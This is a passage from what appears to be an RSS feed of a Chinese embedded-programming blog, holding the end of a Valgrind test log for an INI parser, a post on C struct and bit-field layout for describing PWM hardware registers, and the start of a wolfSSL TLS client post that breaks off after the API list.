</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="s1">&#39;d, by Julian Seward et al.
</span></span></span><span class="line"><span class="cl"><span class="s1">==571== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
</span></span></span><span class="line"><span class="cl"><span class="s1">==571== Command: ./build/build_out/target/test
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==
</span></span></span><span class="line"><span class="cl"><span class="s1">==571== Conditional jump or move depends on uninitialised value(s)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    at 0x48E4DDD: _IO_file_overflow@@GLIBC_2.2.5 (fileops.c:783)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48CD8ED: __vfprintf_internal (vfprintf-internal.c:1688)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48B5D3E: printf (printf.c:33)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x10A632: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x10A660: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x10A67B: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==
</span></span></span><span class="line"><span class="cl"><span class="s1">==571== Syscall param write(buf) points to uninitialised byte(s)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    at 0x4962077: write (write.c:26)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48E2E8C: _IO_file_write@@GLIBC_2.2.5 (fileops.c:1181)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48E4950: new_do_write (fileops.c:449)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48E4950: _IO_new_do_write (fileops.c:426)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48E4950: _IO_do_write@@GLIBC_2.2.5 (fileops.c:423)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48E36B4: _IO_new_file_xsputn (fileops.c:1244)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48E36B4: _IO_file_xsputn@@GLIBC_2.2.5 (fileops.c:1197)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48CAFE5: __vfprintf_internal (vfprintf-internal.c:1719)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x48B5D3E: printf (printf.c:33)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x10A632: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x10A660: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==    by 0x10A67B: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==571==  Address 0x4a52c30 is 0 bytes inside a block of size 1,024 alloc&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x48D5D03: _IO_file_doallocate <span class="o">(</span>filedoalloc.c:101<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x48E5ECF: _IO_doallocbuf <span class="o">(</span>genops.c:347<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x48E4F2F: _IO_file_overflow@@GLIBC_2.2.5 <span class="o">(</span>fileops.c:745<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x48CD8ED: __vfprintf_internal <span class="o">(</span>vfprintf-internal.c:1688<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x48B5D3E: <span class="nb">printf</span> <span class="o">(</span>printf.c:33<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x10A632: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x10A660: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>    by 0x10A67B: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">test</span> count:36, <span class="nb">test</span> passed:36, 100.00%
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> 
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>     in use at exit: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>   total heap usage: <span class="m">180</span> allocs, <span class="m">180</span> frees, 27,724 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> All heap blocks were freed -- no leaks are <span class="nv">possible</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> Use --track-origins<span class="o">=</span>yes to see where uninitialised values come <span class="nv">from</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> ERROR SUMMARY: <span class="m">2</span> errors from <span class="m">2</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>C 的结构体成员在内存中的存储顺序以及对硬件的描述能力</title>
      <link>https://hacperme.com/posts/notes/20230719_c_struct_memory/</link>
      <pubDate>Wed, 19 Jul 2023 00:05:17 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230719_c_struct_memory/</guid>
      <description>介绍 c 语言是如何通过指针、结构体、联合体、位域等这些语法来描述硬件的。</description>
      <content:encoded><![CDATA[<h2 id="c-语言结构体成员和位域在内存中的存储方式">c 语言结构体成员和位域在内存中的存储方式</h2>
<p>在小端存储的机器上，C编译器对结构体的成员按它们的声明顺序从低到高的地址进行存储，先定义的成员存储在内存的低地址，使用位域的时候也是类似，先定义的成员先占用低比特位。</p>
<h2 id="c-语言怎么描述硬件寄存器">c 语言怎么描述硬件寄存器？</h2>
<p>通常硬件寄存器会映射到一段特定的内存地址，我们可以通过指针来访问和修改寄存器的内容。每个寄存器的功能不一定相同，需要根据硬件手册来具体定义。下面以某个芯片平台的 pwm 控制寄存器为例，说明如何使用 c 语言描述硬件寄存器。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230719011111212.5buks5rpf3c0.webp" alt=""  />
</p>
<p>这个平台有 4 个 pwm 外设，控制寄存器的基址分别是 0xD401A000，0xD401A400，0xD401A800 ，0xD401AC00，然后每个 pwm 有三个 32 位 的寄存器，分别是 PWM_CRx，PWM_DCR，PWM_PCR。在这三个寄存器里面，不同的 bit 范围之间又控制着不同的功能。在 c 语言里面，可通过联合体、结构体和位域来定义这些寄存器的功能。</p>
<p>三个 pwm 控制寄存器的基地址:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define  PWM0_BASE (0xD401A000)
</span></span></span><span class="line"><span class="cl"><span class="cp">#define  PWM1_BASE (0xD401A400)
</span></span></span><span class="line"><span class="cl"><span class="cp">#define  PWM2_BASE (0xD401A800)
</span></span></span><span class="line"><span class="cl"><span class="cp">#define  PWM3_BASE (0xD401AC00)
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>每个 pwm 有三个寄存器， PWM_CRx，PWM_DCR，PWM_PCR，与偏移地址对应，4字节递增:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">volatile</span> <span class="k">struct</span> 
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">PWM_CRx</span><span class="p">;</span>   <span class="cm">/*Offset: 0x00*/</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">PWM_DCR</span> <span class="p">;</span>  <span class="cm">/*Offset: 0x04*/</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">PWM_PCR</span> <span class="p">;</span>  <span class="cm">/*Offset: 0x08*/</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="n">PWM_HW_T</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>将 pwm 寄存器地址转换为 PWM_HW_T * 类型的指针，方便通过指针对数据进行读写:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define HW_PWM0 ((PWM_HW_T *)(PWM0_BASE))
</span></span></span><span class="line"><span class="cl"><span class="cp">#define HW_PWM1 ((PWM_HW_T *)(PWM1_BASE))
</span></span></span><span class="line"><span class="cl"><span class="cp">#define HW_PWM2 ((PWM_HW_T *)(PWM2_BASE))
</span></span></span><span class="line"><span class="cl"><span class="cp">#define HW_PWM3 ((PWM_HW_T *)(PWM3_BASE))
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>每个寄存器的功能定义:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// PWM_CRx 寄存器定义
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typedef</span> <span class="k">union</span> 
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">v</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> 
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uint32_t</span> <span class="nl">PRESCALE</span> <span class="p">:</span> <span class="mi">6</span><span class="p">;</span>  <span class="c1">//[5:0]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kt">uint32_t</span> <span class="nl">SD</span> <span class="p">:</span> <span class="mi">1</span><span class="p">;</span>        <span class="c1">//[6]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kt">uint32_t</span> <span class="nl">Reserved</span> <span class="p">:</span><span class="mi">25</span><span class="p">;</span>  <span class="c1">//[31:7]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="p">}</span><span class="n">d</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="n">REG_PWM_CRx_T</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// PWM_DCR 寄存器定义
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typedef</span> <span class="k">union</span> 
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">v</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> 
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uint32_t</span> <span class="nl">DCYCLE</span> <span class="p">:</span> <span class="mi">10</span><span class="p">;</span>   <span class="c1">//[9:0]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kt">uint32_t</span> <span class="nl">FD</span> <span class="p">:</span><span class="mi">1</span><span class="p">;</span>         <span class="c1">//[10]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kt">uint32_t</span> <span class="nl">Reserved</span> <span class="p">:</span><span class="mi">21</span><span class="p">;</span>  <span class="c1">//[31:11]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="p">}</span><span class="n">d</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="n">REG_PWM_DCR_T</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// PWM_PCR 寄存器定义
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typedef</span> <span class="k">union</span> 
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">v</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> 
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uint32_t</span> <span class="nl">PV</span> <span class="p">:</span> <span class="mi">10</span><span class="p">;</span>     	<span class="c1">//[9:0]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kt">uint32_t</span> <span class="nl">Reserved</span> <span class="p">:</span><span class="mi">22</span><span class="p">;</span>  <span class="c1">//[31:10]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="p">}</span><span class="n">d</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="n">REG_PWM_PCR_T</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>操作 pwm 寄存器示例，读和写寄存器都可以通过指针操作实现:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">PWM0_Init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">PWM_HW_T</span> <span class="o">*</span><span class="n">PWM</span> <span class="o">=</span> <span class="n">HW_PWM0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">REG_PWM_CRx_T</span> <span class="n">PWM_CRx</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">REG_PWM_DCR_T</span> <span class="n">PWM_DCR</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">REG_PWM_PCR_T</span> <span class="n">PWM_PCR</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">PWM_CRx</span><span class="p">.</span><span class="n">d</span><span class="p">.</span><span class="n">PRESCALE</span> <span class="o">=</span> <span class="mh">0x3F</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">PWM_CRx</span><span class="p">.</span><span class="n">d</span><span class="p">.</span><span class="n">SD</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">PWM_CRx</span><span class="p">.</span><span class="n">d</span><span class="p">.</span><span class="n">Reserved</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 写  pwm0 的 PWM_CRx 寄存器
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">PWM</span><span class="o">-&gt;</span><span class="n">PWM_CRx</span> <span class="o">=</span> <span class="n">PWM_CRx</span><span class="p">.</span><span class="n">v</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 读 pwm0 的 PWM_DCR 寄存器
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">PWM_DCR</span><span class="p">.</span><span class="n">v</span> <span class="o">=</span> <span class="n">PWM</span><span class="o">-&gt;</span><span class="n">PWM_DCR</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">PWM_PCR</span><span class="p">.</span><span class="n">d</span><span class="p">.</span><span class="n">PV</span> <span class="o">=</span> <span class="mh">0x3FF</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">PWM_PCR</span><span class="p">.</span><span class="n">d</span><span class="p">.</span><span class="n">Reserved</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">PWM</span><span class="o">-&gt;</span><span class="n">PWM_PCR</span> <span class="o">=</span> <span class="n">PWM_PCR</span><span class="p">.</span><span class="n">v</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>使用 wolfssl 实现 tls 通信示例</title>
      <link>https://hacperme.com/posts/series/cryptography/20230709_wolfssl_tls_notes/</link>
      <pubDate>Sun, 09 Jul 2023 14:02:11 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/cryptography/20230709_wolfssl_tls_notes/</guid>
      <description>介绍使用 wolfssl 实现 tls 加密通信的应用流程。</description>
      <content:encoded><![CDATA[<h2 id="wolfssl-介绍">wolfssl 介绍</h2>
<p>wolfssl 是一个轻量级的 ssl/tls 实现，可作为嵌入式设备上实现 tls 安全通信的另一个选择。</p>
<h2 id="api-设计和实现">API 设计和实现</h2>
<p>API 定义还是按照 <a href="https://hacperme.com/posts/series/cryptography/20230702_mbedtls_tls_notes/">mbedtls tls 客户端应用详解</a>中的设计，内部实现换成 wolfssl 的使用流程。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="nf">qtf_tls_connect</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">port</span><span class="p">,</span> <span class="kt">qtf_tls_conn_param_t</span> <span class="o">*</span><span class="n">param</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_send</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_recv</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_close</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>接口实现：</p>
<p>实现 tls client 主要使用到 wolfssl 下面的这几个 api，相比较于 mbedtls，wolfssl 是使用流程更加简洁。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// 初始化和配置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="n">wolfSSL_Init</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfTLSv1_2_client_method</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfTLSv1_3_client_method</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSLv23_client_method</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_SetIORecv</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_SetIOSend</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_CTX_set_verify</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_CTX_load_verify_buffer</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_CTX_use_certificate_buffer</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_CTX_use_PrivateKey_buffer</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_set_fd</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 创建和释放资源
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="n">wolfSSL_CTX_new</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_new</span>    
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_free</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_CTX_free</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_Cleanup</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 连接关闭和收发数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="n">wolfSSL_connect</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_shutdown</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_write</span>
</span></span><span class="line"><span class="cl"><span class="n">wolfSSL_read</span>   
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
